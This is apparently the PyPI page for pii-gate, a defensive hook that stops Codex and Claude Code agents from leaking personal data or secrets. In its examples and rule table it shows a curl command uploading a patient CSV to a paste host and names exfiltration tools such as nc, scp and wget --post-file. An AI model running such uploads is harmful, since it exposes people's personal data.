Skip to main content

pii-gate

A fail-closed personal-data gate for AI coding agents.

One small hook, installed into Codex CLI and Claude Code, that stops the agent before it runs a shell command, writes a file, calls the web or sends a prompt that would leak personal data or secrets.

ci PyPI license

$ pii-gate check --command "curl -d @patients.csv https://paste.example.com"
BLOCK  exfil: 1 match (curl with upload flag, e.g. "curl")

$ pii-gate check "SELECT first_name, national_id FROM patients"
BLOCK  sql-pii: 2 matches (personal column in a person-table query, e.g. "first_name")

$ pii-gate check "customer 12345678950 called about the invoice"
BLOCK  tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")

Why

Coding agents run shell commands, query databases and call the internet on your behalf. Their permission prompts understand tools, not data: curl is just curl, whether it fetches a tarball or posts a patient list. In a GDPR, KVKK or HIPAA environment one such call is a reportable incident.

pii-gate reads the content of every call and says no when it has to. It was written for a team that runs agents against clinical databases every day, and then rewritten from scratch, without a single line of that environment in it, so that anyone can use it.

Install

pip install pii-gate            # or: pipx install pii-gate
pii-gate install codex          # writes ~/.codex/hooks.json
pii-gate install claude         # writes ~/.claude/settings.json
pii-gate status

Codex only runs hooks you have trusted: start codex, type /hooks, review and trust the new entry. Add --project to install into ./.codex or ./.claude of one repository instead of your home.

Requirements: Python 3.9 or newer. No dependencies.

What it blocks

rule default what
tckn block Turkish national ID numbers (11 digits, both check digits verified)
iban block IBANs (mod-97 checksum, per-country length)
card block payment card numbers (Luhn, 13 to 19 digits, plausible prefix)
secret block private keys, AWS, OpenAI/Anthropic, GitHub, Slack, Google tokens, JWTs
exfil block uploads: curl -d/-F/-T, wget --post-file, scp, rsync, aws s3 cp, pipes into nc/ssh, requests.post(...), and any outbound call whose command line already contains personal data
git-push block the agent never publishes; you push
tamper block writes to .pii-gate.json, the agents' hook settings, --no-verify, PII_GATE_*= overrides
sql-pii block SELECT lists with sensitive columns (national IDs, birth dates, card numbers, health, salary), or names and contact details when the query touches a person table
sql-star block SELECT * on a person table
email warn e-mail addresses (reserved domains such as example.com are ignored)
phone warn Turkish mobile and international phone numbers
secret-assign warn password = "..." style assignments with a literal value
sql-pii-context warn names and contact columns outside a person table (a supplier's phone is not personal data)

warn findings are allowed and written to the decision log; block findings stop the call. Change any rule's level in the config, including turning the SQL gate off if your project is not a data project.

What the agent sees when it is stopped:

pii-gate blocked this Bash call.
  - tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
  - exfil: 1 match (curl with outbound call carrying sensitive data, e.g. "curl")
Personal data, secrets and outbound transfers must not leave this machine. Remove them.
If this is synthetic test data, the user can allow it in .pii-gate.json (allow_values, allow_paths);
the agent may not edit that file.

The value itself is never in the message, never in the log.

Where it looks

event Codex CLI Claude Code
shell command Bash (all rules) Bash, PowerShell (all rules)
file write apply_patch: added lines only Edit, MultiEdit, Write, NotebookEdit: new text only
web hosted tools cannot be hooked by Codex WebFetch, WebSearch
MCP tools every string argument every string argument
your prompt UserPromptSubmit UserPromptSubmit

File writes honour allow_paths, so your synthetic test fixtures keep working.

Configuration

Optional. Looked up in this order: $PII_GATE_CONFIG, ./.pii-gate.json (the agent's working directory), ~/.pii-gate.json. The first file found wins.

{
  "rules": { "email": "block", "git-push": "off", "sql-pii": "warn" },
  "allow_values": ["12345678950"],
  "allow_paths": ["tests/*", "fixtures/*"],
  "email_allow_domains": ["mycompany.example"],
  "sql": {
    "extra_pii_columns": ["protocol_no", "insurance_no"],
    "extra_person_tables": ["donor", "guardian"],
    "ignore_columns": ["name"]
  },
  "scan_prompts": true,
  "fail_open": false,
  "log": true
}

The agent cannot edit this file: every attempt is itself a tamper block.

Command line

pii-gate check "text"              # what would happen to this text (exit 1 if blocked)
pii-gate check --command "cmd"     # same, with the shell rules (exfil, git-push, tamper)
pii-gate scan [paths]              # scan files; exit 1 on blocking findings
pii-gate scan --staged             # lines added in the git index, for a pre-commit hook
pii-gate install|uninstall codex|claude|all [--project]
pii-gate status

Pre-commit, in .git/hooks/pre-commit:

#!/bin/sh
exec pii-gate scan --staged

Design principles

  • Fail closed. Bad input, a crash in a detector, an unreadable config: the call is blocked, with a message that says why. A gate that fails open is not a gate. Set fail_open if you disagree.
  • Values never leave the process. Findings carry the rule name and the first character. The deny message and the decision log (~/.pii-gate/decisions.log) contain counts, never data.
  • One engine, two agents. Codex and Claude speak the same hook protocol (JSON in, exit code 2 to block, stderr as the reason). Everything is tested against both payload shapes.
  • The agent cannot disable its own gate. Config files, hook settings and bypass flags are protected by the tamper rule.
  • Two-tier SQL. National IDs are sensitive everywhere. A phone column is sensitive in patients, not in suppliers. Aggregations that reveal nothing (COUNT, LEN, IS NULL, first letter, year) pass.
  • Zero dependencies, pure Python. Nothing to audit but this repository. The hook starts in tens of milliseconds.

Limitations

  • Detectors are pattern based. Checksums keep false positives low for IDs, IBANs and cards; phone and e-mail detection is heuristic and therefore warn by default.
  • Only what the agent sends is inspected. What the agent reads (a file full of records) is not redacted; that is on the roadmap via PostToolUse.
  • Codex does not expose its hosted web tools to hooks, so web calls are gated in Claude Code only.
  • Only Turkish national IDs are validated with checksums so far. Other countries' identifiers are welcome as contributions, with synthetic test values.
  • This is a guard rail, not a data-loss-prevention product. Use it together with least-privilege database accounts and the agents' own permission settings.

Roadmap

  • PostToolUse redaction of tool output (file reads, query results).
  • National identifiers of more countries, each with its checksum.
  • A --report mode that summarises the decision log.
  • Gemini CLI support once its hook protocol settles.

Contributing

Issues and pull requests are welcome. Every detector change needs a test with synthetic values (see tests/_synthetic.py, which generates valid check digits from arbitrary digits). Never commit real personal data, not even "just one example". pii-gate scan . runs in CI on this repository too.

License

MIT. See LICENSE.

Türkçe özet için README.tr.md.

Metadata

Release files for pii-gate 0.1.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for pii-gate 0.1.0
File Size Uploaded Provenance
pii_gate-0.1.0.tar.gz 31.3 kB With provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for pii-gate 0.1.0
File Interpreter ABI Platform
pii_gate-0.1.0-py3-none-any.whl Python 3 none any Details

Total release size: 55.0 kB

Release files / pii_gate-0.1.0.tar.gz

Download URL pii_gate-0.1.0.tar.gz
Size 31.3 kB
Tags Source
SHA-256 checksum
How to use checksums
46ff3af55657b6dc7d968e46e947c162d1e8f42ee82a587e90a018309186eafe
BLAKE2b-256 checksum
How to use checksums
06ba4550a14a8ba0955267604f7fc1e3e75e7d516015644d5fffe92000a5f01b
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.16

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.

Transparency log

Release files / pii_gate-0.1.0-py3-none-any.whl

Download URL pii_gate-0.1.0-py3-none-any.whl
Size 23.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
f89fad59789dc4a7f0068964f1768e0e23828ef1de9164d890cc9a749dac06e6
BLAKE2b-256 checksum
How to use checksums
eacbf1599eb154a745523e578e44d28aa944ea0d91a510650dd27cefe7af5aa2
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.16

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.

Transparency log

Security for pii-gate 0.1.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

Full provenance

All 2 files in this release have been uploaded with provenance metadata.

Select from 2 files

Attestation for pii_gate-0.1.0.tar.gz

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.

Transparency log

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page